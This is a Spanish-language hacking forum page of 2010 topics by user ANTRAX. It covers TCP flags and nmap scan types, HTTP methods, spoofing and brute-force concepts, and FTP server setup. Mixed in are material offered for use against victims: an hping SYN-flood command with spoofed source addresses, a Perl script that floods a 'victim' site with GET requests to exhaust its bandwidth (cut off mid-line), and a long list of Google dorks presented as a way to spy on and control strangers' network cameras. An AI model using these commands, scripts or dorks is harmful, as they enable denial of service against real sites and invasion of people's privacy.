This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Topics - ANTRAX

Pages: 1 ... 67 68 [69]
1361
Vamos a ver que hay muchos tipos de scaneos de puertos, no es uno solo, hay algunos mas silenciosos que otros, otros mas efectivos. Todos se basan en un conocimiento profundo de TCP/IP


Introducción a TCP/IP
Los protocolos basados en TCP, son protocolos orientados a conección. Esto quiere decir, que hay todo un proceso para armar la conección, recien ahi se empiezan a mandar los paquetes necesarios (la información que se tenian que mandar) y luego terminan la conección. Esto hace que los protocolos basados en TCP sean mas lentos, que los protocolos basados en UDP (no vamos a hablar de UDP/IP ahora, pero lo que tienen que saber, es que los protocolos basados en UDP, no arman una conección previamente a mandar los datos necesarios, si no que los mandan a lo 'bruto' sin fijarse si el receptor esta en condiciones de recivirlos o no).

Vamos a profundizar un poco mas en esto de como se maneja el protocolo TCP/IP

Cuando ustedes necesitan hablar con alguien por msn, y pedirles algo, generalmente primero lo saludan, esperan el saludo de la otra persona, luego de eso (y al asegurarse que del otro lado del msn hay una persona escuchandolos) le dicen lo que necesitan, y su comunicación termina con una despedida. Aunque siempre se encuentran maleducados en la vida ¬¬ (en la informatica, es microsoft ....)

En TCP/IP es lo mismo. El proceso es asi:

1. Petición de conección ---->
Persona A 2. <--- Conección aceptada Persona B
3. <--- Ida y vuelta de datos --->
4. Cierre de conección

Por otro lado, les voy adelantando que en UDP/IP, el esquema seria este:

Persona A <---- Ida y vuelta de datos ---> Persona B


Los paquetes TCP/IP son estructurados, y esta es la estructura de su cabecera de datos:

---------------------------------
| Puerto Origen | Puerto Destino |
---------------------------------
| Numero de Secuencia |
---------------------------------
| Numero de Confirmación |
---------------------------------
|Comienso de | |U|A|P|S|F| |
| Datos | |R|C|S|Y|I| Ventana |
| | |G|K|H|N|N| |
---------------------------------
| Suma de | Puntero de |
| Comprobación | Urgencia |
---------------------------------
| Datos |
---------------------------------

Asi se organizan las cabeceras de los paquetes TCP/IP que circulan por nuestra PC Wink
A medida que vamos a ir necesitando, vamos a ir explicando para que sirve cada parte de la cabecera de un paquete TCP/IP (en este articulo expicaremos algunos, a medida que vamos abanzando, veremos mas)

Por ahora, veremos los Flags. Los flags ocupan 1 bit cada uno en la cabezera de un paquete, y como pueden ver (aunque quedaron chuequitas las | ) son URG, ACK, PSH, SYN, FIN. Como sabran, que ocupe 1 bit significa que es 1 caracter, y como se pueden imaginar puede ser 0 o 1.

Creando una conección entre dos host:
Como ya habiamos adelantado, si el protocolo se basa sobre TCP/IP, es un protocolo orientado a conección, y ahora veremos como se hace esa conección.


1 ------> Enviamos un paquete SYN
Host A 2 <------ Recibimos un paquete SYN ACK Host B
3 -------> Enviamos un paquete ACK

Asi es como realmente se realizan las conecciones TCP/IP

Veamos, antes de comenzar a enviar los datos que realmente queremos enviar, vamos a armar una conección para asegurarnos que el Host B va a recibir los paquetes que estamos enviando y que no los estamos enviando al vacio =P (ya los tengo podrido con esto de que es orientado a conección, no?)

Enviamos un paquete con el Flag SYN activado (o sea, con el Flay Syn valiendo 1)
Cuando este paquete le llega al Host B, este interpreta que el Host A esta intentando comenzar una conección, (si las reglas de administración lo permite, digamos, si ningun router, firewall, o lo que sea lo impide) este le contesta con un paquete que tiene dos flags activados: SYN y ACK. Esto quiere decir que acepta la conección
El Host A al recibir este ultimo paquete, tiene la aceptación del Host B para iniciar una conección con el, solo falta que responda con un paquete ACK para que realmente la conección se establezca.

En todo este proceso, que obviamente se hace automaticamente, la conección toma distintos estados.
1) Cuando enviamos el paquete SYN, nuestro estado es SYN_ENVIADO
2) Cuando recivamos la respuesta del Host B (el paquete con los flags SYN y ACK activados) nuestro estado de coneccion es SYN_RECIBIDO
3) Luego de enviar por ultimo el ACK, el estado sera de ESTABLECIDO

¿Que significado tiene cada Flag?

Flag URG: Este Flag, significa que tiene caracter de urgente el paquete. Que debe ser tratado primero que los Paquetes normales, es decir que se saltea la cola =P

Flag ACK: Este paquete se usa como confirmación de que el paquete anterior fue recivido.

Flag PSH: Se utiliza para vaciar un buffer de transimision (por ahora no importa)

Flag RST: Significa Reset, es para reiniciar una conección porque capaz un paquete llego corrumpido (los paquetes tienen verificaciones, por si se perdio un paquete por el camino o por si alguien esta mandando paquetes corruptos =P)

Flag SYN: Para comenzar una conección.

Flag FIN: Para finalizar una conección.

Fin de la 'teoria' vamos a la practica


Escaneando Puertos de forma Avanzada
Hay muchas técnicas, algunas mejores que otras, algunas mas silenciosas, otras mas directas, yo lo que voy a explicar ya lo puse en practica, pero luego nos reuniremos por el IRC a practicar Smile
Para esta practica, usaremos el nmap. Bajenlo de aca

1- TCP_CONNECT
Este es el mas comun de todos, directamente, nos conectamos un host al puerto que queremos saber si esta abierto. Si nos podemos conectar, esta abierto.
Ahi pasaria lo que explicamos arriba, los 3 pasos para formar una conección
Si esta cerrado, en vez de recibir un paquete SYN-ACK, recibiremos un RST

2- SYN_SCAN
Este es un scan de medio pelo, y lo que hacemos es esto.
Mandamos un paquete SYN; si recibimos un paquete SYN-ACK no respondemos con un paquete ACK, si no que mandamos un paquete RST para cerrar la conección.
¿porque? Fácil, el Host B (mantengamos esa idea en la cabeza) ya nos informo perfectamente que tiene el puerto abierto o cerrado, y el solo echo de responder con un ACK para armar la conección a ese puerto, seria una estupidez, ya que no sacariamos provecho alguno, mas que dejar un lindo log de conección en el SO.
Este tipo de scaneo, es bien reconocido por los firewalls, les aparecera algo como SYN attack (el mcaffe lo muestra textualmente asi) pero es mejor que nada.
Digamos, a un firewall le basta y le sobra con que le llege un paquete SYN pidiendo que se arme una conección; pero al SO solo se da cuenta y hace un log cuando se completa el intento de conección

nmap escribió:
nmap -vv -PO -sS ip

3- Stealth Scan
Este scaneo es realmente bueno y silencioso, muchos firewalls lo pasaron por alto.
La idea de este scaneo, es mandar un paquete FIN al Host B a determinado puerto, si nos responde con un paquete RST, el puerto seguro esta cerrado.
Caso contrario (si no responde) esta abierto o silencioso (un puerto silencioso, no responde a estos pedidos)
Si bien, tiene como ventaja que la mayoria de los firewalls lo pasan por alto (por no armar una conección) Windows, que no siguen los estandares de nada, no respeta esta estructura TCP/IP (asi como su IE no sigue los standares de la programación web y luego la gama de Mozilla es "inconpatible"). Asi que no es buena idea lanzar este tipo de scaneos a un SO windows ya que nos dara una infinidad de puertos abiertos, que en realidad no esta. Aunque por otro lado, nos sirve para osfinger, de esta forma ya sabemos que estamos frente a un SO windows =P

nmap escribió:
nmap -vv -PO -sF ip


4- ACK Scan
Este tipo de scaneo, esta orientado para determinar cuando un puerto esta silenciado (que era la falla de los anteriores)
La idea es esta, si le mandamos un paquete ACK a un Host B, con todo aleatorio (como si hubiera existido en algun momento una conección) el Host B interpretara que ese paquete es totalmente erroneo, y que nunca hubo un intento de conección... por eso si el Puerto esta abierto, o cerrado, en cualquiera de los dos casos, nos respondera con un paquete RST.
Pero si no responde, ya sabemos con perfección que ese puerto esta filtrado por un firewall!!
Como veran, esta tecnica es extremadamente útil para convinarla con otra, para sacarnos las dudas.

nmap escribió:
nmap -vv -PT ip


Haciendo un DoS: SYN Flood
Vamos a aplicar nuestras técnicas para hacer un DoS, aprovechando nuestros conocimientos de TCP/IP
Vamos a hacer uno que consume los recursos, veamos, cada vez que uno se quiere conectar con un HOST y envia un paquete SYN a el, este crea una tabla en memoria, llamda estructura de datos. Asi con cada intento de coneccion de una IP, a un puerto, vamos a intentar floodear al sistema con paquetes SYN, con muchos intentos de conección para consumir recursos en memoria y hacer un DoS al demonio.
Para hacer esto de manera correcta, tenemos que spofear el IP. ¿Y esto porque?

Host A ------> Envia paquete SYN -------> Host B
24.232.144.xxx con IP Spofeada
1.1.1.1

Bueno, si el HOST B recibe un paquete SYN de la IP 1.1.1.1, va a intentar responder al IP con un SYN/ACK, la gracia es que al no existir la IP 1.1.1.1 nunca recibira una respuesta al paquete que "envio" 1.1.1.1 y se quedara consumiendo recursos en memoria, en su estructura de datos. (cada conección tiene un time to live, es decir, luego de x cantidad de tiempo, se borran automaticamente, liberando los recursos en memoria)
Al ser flood, obviamente hay que hacer esto, con muchos paquetes, por ejemplo con 100; todos con IPs spoofeadas.
Hay un programa muy poderoso para linux que nos permite hacer esto automaticamente, es hPing (hping es un programa propio para linux, lo pueden hacer desde una shell si no disponen de un windows instalado en su propia pc, o si no, utilizar nemesis que es parecido y corre sobre windows)

hPIng escribió:
hPing xxx.xxx.xxx.xxx --rand-source --destport 21 --syn --count 150

Explico brevemente:
rand source, enviara desde IPs aleatorias.
destport 21, ataca a la IP xxx.xxx.xxx.xxx al puerto 21
syn, obiviamente pone un 1 en el flag syn
count 150, va a enviar 150 paquetes

Un problema para esto, es cuantos routers o sistemas de validación hay en el medio entre vos y tu destino xxx.xxx.xxx.xxx
Capaz antes de llegar al destino, tenes routers que verifican que las IPs no son validas, y no dejen llegar los paquetes a destino.

PD: si este tema ya estaba borren nomas (por lo menos lo busque y no lo vi)

1362
Hacking / Espiar a todo el mundo por Camaras
« on: February 18, 2010, 12:16:45 pm »
Con solo poner lo siguiente en google:

Code: (text) You are not allowed to view links. Register or Login
inurl:\view\index.shtml
podran ver camaras ubicadas en las calles de todas las partes del mundo, y no solo eso, sino que tambien podran manejarlas

Aqui les dejo otra que me paso mi amiga Traxtor:

Code: (text) You are not allowed to view links. Register or Login
inurl:\ViewerFrame?Mode=
Aca mas:

Code: (text) You are not allowed to view links. Register or Login
inurl:ViewerFrame?Mode=
inurl:MUltiCameraFrame:?Mode=
inurl:view/index.shtml
inurl:indexFrame.shtml Axis
inurl:"ViewerFrame?Mode="
intitle:snc-rz30 inurl:home/
inurl:/view/index.shtml
inurl:"ViewerFrame?Mode="
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"
inurl:CgiStart?page=Single
inurl:indexFrame.shtml?newstyle=Quad
intitle:liveapplet inurl:LvAppl
inurl:/showcam.php?camid
inurl:video.cgi?resolution=
inurl:image?cachebust=
intitle:"Live View / - AXIS"
inurl:view/view.shtml
intext:"MOBOTIX M1"
intext:"Open Menu"
intitle:snc-rz30
inurl:home/
inurl:"MultiCameraFrame?Mode="
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live NetSnap Cam-Server feed"
intitle:"Live View / - AXIS 206M"
intitle:"Live View / - AXIS 206W"
intitle:"Live View / - AXIS 210"
inurl:indexFrame.shtml Axis
inurl:"ViewerFrame?Mode="
inurl:"MultiCameraFrame?Mode=Motion"
intitle:start inurl:cgistart
intitle:"WJ-NT104 Main Page"
intext:"MOBOTIX M1" intext:"Open Menu"
intext:"MOBOTIX M10" intext:"Open Menu"
intext:"MOBOTIX D10" intext:"Open Menu"
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:"sony network camera snc-p1"
intitle:"sony network camera snc-m1"
site:.viewnetcam.com -www.viewnetcam.com
intitle:"Toshiba Network Camera" user login
intitle:"netcam live image"
intitle:"i-Catcher Console - Web Monitor"
inurl:/home/home
"Kamerainformationen anzeigen"
intitle:"AXIS 2100 Network Camera Axis 2100 Network Camera 2.02"
intitle:"Linksys Web Camera" "ver"

MAS!

Code: (text) You are not allowed to view links. Register or Login
(intitle:(EyeSpyFX|OptiCamFX) “go to camera”)|(inurl:servlet/DetectBrowser)
inurl:”ViewerFrame?Mode=”
intitle:”Live View / - AXIS” | inurl:view/view.shtml
inurl:”MultiCameraFrame?Mode=”
intitle:”WJ-NT104 Main”
intitle:”snc-rz30 home” Requiere plugin Active-X.
inurl:”ViewerFrame?Mode=Motion” Requiere plugin Active-X.
inurl:LvAppl intitle:liveapplet
intitle:”Live View / - AXIS” Requiere plugin Active-X.
intitle:”Powered by webcamXP”
inurl:indexFrame.shtml “Axis Video Server”
inurl:”MOBOTIX M1? and “open menu”
intitle:flexwatch intext:”Copyright by Seyeon TECH Co”
“axis video server view.shtml”
“/view/view.shtml axis”
“adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera”
“Live view - / - AXIS”
“Your browser has JavaScript turned off.For the user interface to work effectively”
“indexFrame.html axis”
“Live web imaging unleashed”
“sample/LvAppl/”
“/control/userimage.html”
“(c)copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved”
“V.Networks Motion Picture(Java)”
“Control the Pan/Tilt and move to the Preset Position”
“/app/idxas.html”
“Saving & Retrieving Mode”
“/ViewerFrame?Mode=Motion”
“TOSHIBA Network Camera - User Login”
“/home/homeJ.html”
“my webcamXP server!”
inurl:/view.shtml
intitle:”Live View / - AXIS” | inurl:view/view.shtml^
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera”
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / - AXIS”
intitle:”Live View / - AXIS 206M”
intitle:”Live View / - AXIS 206W”
intitle:”Live View / - AXIS 210?
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion”
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intext:”MOBOTIX M1? intext:”Open Menu”
intext:”MOBOTIX M10? intext:”Open Menu”
intext:”MOBOTIX D10? intext:”Open Menu”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image”
intitle:”i-Catcher Console - Web Monitor”

Saludos!

                         ANTRAX

1363
Peticiones (Request) HTTP, metodos de peticion

Una petición HTTP, en su formato más básico, tiene la siguiente sintaxis:

Quote
metodo    URI    version

El método le indica al servidor que hacer con el URI , por último la versión simplemente indica el número de versión del protocolo que el cliente entiende. Una petición habitual utiliza el método GET para pedirle al servidor que devuelva el URI solicitado:

Quote
GET /index.html HTTP/1.0

Métodos HTTP

GET: Devuelve el recurso identificado en la URL pedida.
HEAD: Funciona como el GET, pero sin que el servidor devuelva el cuerpo del mensaje. Es decir, sólo se devuelve la información de cabecera.
POST: Indica al servidor que se prepare para recibir información del cliente. Suele usarse para enviar información desde formularios.
PUT: Envía el recurso identificado en la URL desde el cliente hacia el servidor.
OPTIONS: Pide información sobre las características de comunicación proporcionadas por el servidor. Le permite al cliente negociar los parámetros de comunicación.
TRACE: Inicia un ciclo de mensajes de petición. Se usa para depuración y permite al cliente ver lo que el servidor recibe en el otro lado.
DELETE: Solicita al servidor que borre el recurso identificado con el URL.
CONNECT: Este método se reserva para uso con proxys. Permitirá que un proxy pueda dinámicamente convertirse en un túnel. Por ejemplo para comunicaciones con SSL (Socket Secure Layer).

De entre los tres parámetros el más importante es el método. HTTP/1.1 incorpora ocho métodos, aunque sólo obliga a implementar GET y HEAD, siendo todos los demás opcionales. En cualquier caso, los servidores que implementen alguno de los métodos adicionales, deben atenerse a la especificación de los mismos. Existe también la posibilidad de implementar métodos extendidos, a los que la especificación no pone ningún límite.

En HTTP/1.0 sólo se especificaban tres métodos, GET, POST y HEAD. Estos son, con diferencia, los tres más extendidos y utilizados, por ello se comentan un poco más ampliamente.

Codigos de respuestas HTTP

Son códigos de tres dígitos:

    * 1xx Mensajes

    N° - 100 111    Conexión rechazada

    * 2xx Operación exitosa

    N°    Descripción
    200    OK
    201-203 Información no oficial
    204    Sin Contenido
    205    Contenido para recargar
    206    Contenido parcial

    * 3xx Redirección hacia otro URL

    N°    Descripción
    300    Múltiples posibilidades
    301    Mudado permanentemente
    302    Encontrado
    303    Vea otros
    304    No modificado
    305    Utilice un proxy
    307    Redirección temporal

    * 4xx Error por parte del cliente

    N°    Descripción
    400    Solicitud incorrecta
    401    No autorizado
    402    Pago requerido
    403    Prohibido
    404    No encontrado
    405    Método no permitido
    406    No aceptable
    407    Proxy requerido
    408    Tiempo de espera agotado
    409    Conflicto
    410    Ya no disponible
    411    Requiere longitud
    412    Falló precondición
    413    Entidad de solicitud demasiado larga
    414    URL de solicitud demasiado largo
    415    Tipo de medio no soportado
    416    Rango solicitado no disponible
    417    Falló expectativa

    * 5xx Error por parte del servidor

    N°    Descripción
    500    Error interno
    501    No implementado
    502    Pasarela incorrecta
    503    Servicio no disponible
    504    Tiempo de espera de la pasarela agotado
    505    Versión de HTTP no soportada

Recomendacion: You are not allowed to view links. Register or Login



Fuentes:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login



Ideal para tomar como base al momento de leer textos que necesitan conocimiento de peticiones HTTP y de codigos de respuestas HTTP. Tambien util para el uso de netcat.

Saludos

1364
Hacking / Ataques de Autenticacion
« on: February 18, 2010, 12:10:55 pm »
Spoofing-Looping

Spoofing puede traducirse como "hacerse pasar por otro" y el objetivo de esta técnica, justamente, es actuar en nombre de otros usuarios, usualmente para realizar tareas de Snooping o Tampering. Una forma común de Spoofing es conseguir el nombre y password de un usuario legítimo para, una vez ingresado al sistema, tomar acciones en nombre de él.

El intruso usualmente utiliza un sistema para obtener información e ingresar en otro, y luego utiliza este para entrar en otro, y así sucesivamente. Este proceso, llamado Looping, y tiene la finalidad de "evaporar" la identificación y la ubicación del atacante.

El camino tomado desde el origen hasta el destino puede tener muchas estaciones, que exceden obviamente los límites de un país. Otra consecuencia del Looping es que una compañía o gobierno pueden suponer que están siendo atacados por un competidor o una agencia de gobierno extranjera, cuando en realidad están seguramente siendo atacado por un Insider, o por un estudiante a miles de Km de distancia, pero que ha tomado la identidad de otros.

La investigación de procedencia de un Looping es casi imposible, ya que el investigador debe contar con la colaboración de cada Administrador de cada red utilizada en la ruta. El envío de falsos e-mails es otra forma de Spoofing que las redes permiten. Aquí el atacante envía E-Mails a nombre de otra persona con cualquier motivo y objetivo. Tal fue el caso de una universidad en EE.UU. que en 1998, que debió reprogramar una fecha completa de exámenes ya que alguien en nombre de la secretaría había cancelado la fecha verdadera y enviado el mensaje a toda la nómina de estudiantes.

Muchos ataques de este tipo comienzan con Ingeniería Social y los usuarios, por falta de cultura, facilitan a extraños sus identificaciones dentro del sistema usualmente través de una simple llamada telefónica.

Spoofing

Spoofing, en términos de seguridad de redes hace referencia al uso de técnicas de suplantación de identidad generalmente con usos maliciosos o de investigación.

Existen diferentes tipos dependiendo de la tecnología a la que nos refiramos, los cuales se describirán más adelante, como el IP spoofing (quizás el más conocido), ARP spoofing, DNS spoofing, Web spoofing o e-mail spoofing, aunque en general se puede englobar dentro de spoofing cualquier tecnología de red susceptible de sufrir suplantaciones de identidad.

Tipos de Spoofing 

  • IP Spoofing: suplantación de IP. Consiste básicamente en sustituir la dirección IP origen de un paquete TCP/IP por otra dirección IP a la cual se desea suplantar. Esto se consigue generalmente gracias a programas destinados a ello y puede ser usado para cualquier protocolo dentro de TCP/IP como ICMP, UDP o TCP. Hay que tener en cuenta que las respuestas del host que reciba los paquetes irán dirigidas a la IP falsificada. Por ejemplo si enviamos un ping (paquete icmp "echo request") spoofeado, la respuesta será recibida por el host al que pertenece la IP legalmente. Este tipo de spooofing unido al uso de peticiones broadcast a diferentes redes es usado en un tipo de ataque de flood conocido como ataque Smurf. Para poder realizar IP SPOOFING en sesiones TCP, se debe tener en cuenta el comportamiento de dicho protocolo con el envío de paquetes SYN y ACK con su ISN específico y teniendo en cuenta que el propietario real de la IP podría (si no se le impide de alguna manera) cortar la conexión en cualquier momento al recibir paquetes sin haberlos solicitado. También hay que tener en cuenta que los routers actuales no admiten el envío de paquetes con IP origen no perteneciente a una de las redes que administra (los paquetes spoofeados no sobrepasarán el router).
  • ARP Spoofing: suplantación de identidad por falsificación de tabla ARP. Se trata de la construcción de tramas de solicitud y respuesta ARP modificadas con el objetivo de falsear la tabla ARP (relación IP-MAC) de una víctima y forzarla a que envíe los paquetes a un host atacante en lugar de hacerlo a su destino legítimo. Explicándolo de una manera más sencilla: El protocolo Ethernet trabaja mediante direcciones MAC, no mediante direcciones IP. ARP es el protocolo encargado de traducir direcciones IP a direcciones MAC para que la comunicación pueda establecerse; para ello cuando un host quiere comunicarse con una IP emite una trama ARP-Request a la dirección de Broadcast pidiendo la MAC del host poseedor la IP con la que desea comunicarse. El ordenador con la IP solicitada responde con un ARP-Reply indicando su MAC. Los Switches y los hosts guardan una tabla local con la relación IP-MAC llamada "tabla ARP". Dicha tabla ARP puede ser falseada por un ordenador atacante que emita tramas ARP-REPLY indicando su MAC como destino válido para una IP específica, como por ejemplo la de un router, de esta manera la información dirigida al router pasaría por el ordenador atacante quien podrá sniffar dicha información y redirigirla si así lo desea. El protocolo ARP trabaja a nivel de enlace de datos de OSI, por lo que esta técnica sólo puede ser utilizada en redes LAN o en cualquier caso en la parte de la red que queda antes del primer Router. Una manera de protegerse de esta técnica es mediante tablas ARP estáticas (simpre que las ips de red sean fijas), lo cual puede ser difícil en redes grandes. Para convertir una tabla ARP estática se tendría que ejecutar el comando:
  • arp -s [IP] [MAC]
  • Por ejemplo: arp -s 192.168.85.212 00-aa-00-62-c6-09

Otras formas de protegerse incluyen el usar programas de detección de cambios de las tablas ARP (como Arpwatch) y el usar la seguridad de puerto de los switches para evitar cambios en las direcciones MAC.

DNS Spoofing: Suplantación de identidad por nombre de dominio. Se trata del falseamiento de una relación "Nombre de dominio-IP" ante una consulta de resolución de nombre, es decir, resolver con una dirección IP falsa un cierto nombre DNS o viceversa. Esto se consigue falseando las entradas de la relación Nombre de dominio-IP de un servidor DNS, mediante alguna vulnerabilidad del servidor en concreto o por su confianza hacia servidores poco fiables. Las entradas falseadas de un servidor DNS son susceptibles de infectar (envenenar) el caché DNS de otro servidor diferente (DNS Poisoning).

Web Spoofing: Suplantación de una página web real (no confundir con phising). Enruta la conexión de una víctima a través de una página falsa hacia otras páginas WEB con el objetivo de obtener información de dicha víctima (páginas WEB vistas, información de formularios, contraseñas etc.). La página WEB falsa actúa a modo de proxy solicitando la información requerida por la víctima a cada servidor original y saltándose incluso la protección SSL. El atacante puede modificar cualquier información desde y hacia cualquier servidor que la víctima visite. La víctima puede abrir la página web falsa mediante cualquier tipo de engaño, incluso abriendo un simple LINK. El WEB SPOOFING es difícilmente detectable, quizá la mejor medida es algún plugin del navegador que muestre en todo momento la IP del servidor visitado, si la IP nunca cambia al visitar diferentes páginas WEB significará que probablemente estemos sufriendo este tipo de ataque.

Mail Spoofing: Suplantación en correo electrónico de la dirección e-mail de otras personas o entidades. Esta técnica es usada con asiduidad para el envío de e-mails hoax como suplemento perfecto para el uso de phising y para SPAM, es tan sencilla como el uso de un servidor SMTP configurado para tal fin. Para protegerse se debería comprobar la IP del remitente (para averiguar si realmente esa ip pertenece a la entidad que indica en el mensaje) y la dirección del servidor SMTP utilizado. Otra técnica de protección es el uso de firmas digitales.

IP Splicing-Hijacking

Se produce cuando un atacante consigue interceptar una sesión ya establecida. El atacante espera a que la victima se identifique ante el sistema y tras ello le suplanta como usuario autorizado.

Utilización de BackDoors

Las puertas traseras son trozos de código en un programa que permiten a quien las conoce saltarse los métodos usuales de autentificación para realizar ciertas tareas. Habitualmente son insertados por los programadores del sistema para agilizar la tarea de probar código durante la fase de desarrollo"(1).
Esta situación se convierte en una falla de seguridad si se mantiene, involuntaria o intencionalmente,  una vez terminado el producto ya que cualquiera que conozca el agujero o lo encuentre en su código podrá saltarse los mecanismos de control normales.

Utilización de Exploits

Es muy frecuente ingresar a un sistema explotando agujeros en los algoritmos de encriptación utilizados, en la administración de las claves por parte la empresa, o simplemente encontrando un error en los programas utilizados.
Los programas para explotar estos "agujeros" reciben el nombre de Exploits y lo que realizan es aprovechar la debilidad, fallo o error hallado en el sistema (hardware o software) para ingresar al mismo.
Nuevos Exploits (explotando nuevos errores en los sistemas) se publican cada día por lo que mantenerse informado de los mismos y de las herramientas para combatirlos es de vital importancia.

Obtención de Passwords

Este método comprende la obtención por "Fuerza Bruta" de aquellas claves que permiten ingresar a los sistemas, aplicaciones, cuentas, etc. atacados.
Muchas passwords de acceso son obtenidas fácilmente porque involucran el nombre u otro dato familiar del usuario y, además, esta nunca (o rara vez) se cambia. En esta caso el ataque se simplifica e involucra algún tiempo de prueba y error. Otras veces se realizan ataques sistemáticos (incluso con varias computadoras a la vez) con la ayuda de programas especiales y "diccionarios" que prueban millones de posibles claves hasta encontrar la password correcta.
La política de administración de password será discutida en capítulos posteriores.

Uso de Diccionarios

Los Diccionarios son archivos con millones de palabras, las cuales pueden ser posibles passwords de los usuarios. Este archivo es utilizado para descubrir dicha password en pruebas de fuerza bruta.
El programa encargado de probar cada una de las palabras encripta cada una de ellas, mediante el algoritmo utilizado por el sistema atacado, y compara la palabra encriptada contra el archivo de passwords del sistema atacado (previamente obtenido). Si coinciden se ha encontrado la clave de acceso al sistema, mediante el usuario correspondiente a la clave hallada.
Actualmente es posible encontrar diccionarios de gran tamaño orientados, incluso, a un área específico de acuerdo al tipo de organización que se este atacando.
En la tabla 7.4 podemos observar el tiempo de búsqueda de una clave de acuerdo a su longitud y tipo de caracteres utilizados. La velocidad de búsqueda se supone en 100.000 passwords por segundo, aunque este número suele ser mucho mayor dependiendo del programa utilizado.

Aqui puede verse la importancia de usar passworS de 8 caracteres de longitud.

by mainfox

1365
Hacking / Simple Denial Of Service
« on: February 18, 2010, 12:10:06 pm »
Este es un simple script que forma peticiones (GET) constantes a un Determinado Archivo alojado en un Servidor X (X = Victima) , hasta agotar su Bandwidth (Ancho de Banda) y cumplir con el ovjetivo de dejar Off-Line al Servidor especificado.

Yo lo he probado y puedo decirles que funciona muy bien.

NOTAS :

Les explico mas o menos como trabaja y funciona esto para aquellos que no conoscan bien de que se trata el DoS. Cada sitio tiene un limite de transferencia mensual mas conocido como bandwidth, cuando se adquiere un host te dan cierto limite, y cuando execedes esa transferencia tu pagina se vuelve inaccesible al publico mostrando un error.Dejandola inactiva hasta el mes Proximo. Por lo general la transferencia mensual de un server mas o menos comunacho de 8 a 15Gb de bandwidth mensual,uno podria pensar que eso es mas que suficiente para un sitio con pocas visitas, pues el ancho de banda se gasta cada que alguien descarga algun archivo de la pagina,ya sean imagenes,codigo,zip's, etc, cualquier archivo que descargues gasta el ancho de banda. Lo interesante es que no es necesario "descargar" propiamente el archivo del servidor, basta con hacer la peticion en este caso GET, con eso bastara para que el servidor piense que han descargado el archivo y disminuya el ancho de banda disponible del mes.
Este sencillo script permite hacer las peticiones,simplemente tienes que buscar la ruta de algun archivo pesado en el servidor (mientras mas pesado, mas rapido terminaras), y el script nos muestra la respuesta del servidor como lo mostrare en el siguiente Code:

Code: You are not allowed to view links. Register or Login
HTTP: 1.0 200 OK

Cuando nos aparezca el ultimo mensaje (509 o 505 bandwidth limit exceeded , mision cumplida ,habremos dejado offline el sitio por el resto del mes.

Aqui les dejo el Codigo


Code: You are not allowed to view links. Register or Login
#!/usr/bin/perl
#Escrito por Megababa
# Solo busca la ruta de algun archivo pesado y listo # Algunos lo llaman Magia,yo simplemente NIVEL.
use IO::Socket;
use strict; print q( #########Desmadrador de Transferencia Mensual############# #########by Megabyte############## );
for(0..1000) { my($eliteador); my($SOCKET) = new IO::Socket::INET( Proto => "tcp", PeerAddr=> "TUVICTIMA.COM:80");
if (! defined $SOCKET) { die $!; } print $SOCKET "GET http://TUVICTIMA.COM/ARCHIVO.RAR HTTP/1.0\n\n"; $eliteador =

fuente - fuck-cls

1366
Redes y antenas / Como Crear un servidor de FTP en tu PC
« on: February 18, 2010, 12:09:03 pm »
Aportaciones 2009
Texto web: gasperar

Como crear un servidor FTP

Intercambio de ficheros.-

Una de las actividades más importantes de Internet, pese a quien le pese, es el intercambio de ficheros. Películas, canciones, juegos de ordenador, programas, ... Todo se intercambia en la red.

En este artículo vamos a explicar cómo intercambiar ficheros con tus amigos dentro de Internet (tanto tú dejar ficheros para que tus amigos se descargen como que tus amigos puedan dejarte ficheros en tu ordenador). ¿Cómo se hace eso? Pues la forma más simple y versátil es con un servidor FTP.

¿Cómo funciona?:

Retrocedamos tiempo atrás. Hasta la década de los 70 del siglo pasado, concrétamente hasta el año 1973. En esa época, se necesitaba crear un sistema para yo dejar un grupo de ficheros en un ordenador y que aquel que se conectase pudiese copiar ficheros al suyo o bien dejarme ficheros en el mío. Para eso se creó el FTP.

El funcionamiento del FTP es muy simple. En primer lugar, deciros que hay 2 programas FTP. Por un lado está el servidor FTP que es el encargado de gestionar los ficheros que quieres compartir y por otro lado están los clientes FTP que son los que se conectan al servidor.

Así pues, para conectarse a un servidor FTP, primeramente hay que tener un cliente FTP. ¿Dónde conseguir uno? Existen multitud (cientos díra yo) de clientes FTP. La mayor parte son shareware (lo cual quiere decir que podemos usar el programa con funcionalidades recortadas o durante un tiempo limitado y si lo queremos usar completamente tendremos que pagar). WS_FTP, FTP_PRO, ... En esta página podremos encontrar un listado con una amplia variedad de clientes FTP para que podais elegir el que más os convenga.

De cualquier forma, desde esta página recomendamos como cliente el Filezilla. Este es uno de los clientes FTP más versátiles y además es gratuíto (incluso puedes descargarte el código fuente y modificarlo a tu gusto). Para descargarte la última versión o si quieres descargarte el código fuente o incluso tener más información puedes consultar su página web You are not allowed to view links. Register or Login. Desde ahí puedes incluso colaborar en el proyecto (ya bien sea en su traducción al español como en el desarrollo de nuevas funcionalidades).

Para instalar Filezilla, no hay nada más que seguir los pasos de instalación normales como cualquier otra aplicación. Una vez instalada, para ponerla en Español, no tenemos más que ir al menú Edit -> Settings... -> Language y ahí elegimos como idioma el Español y pulsamos el botón OK.

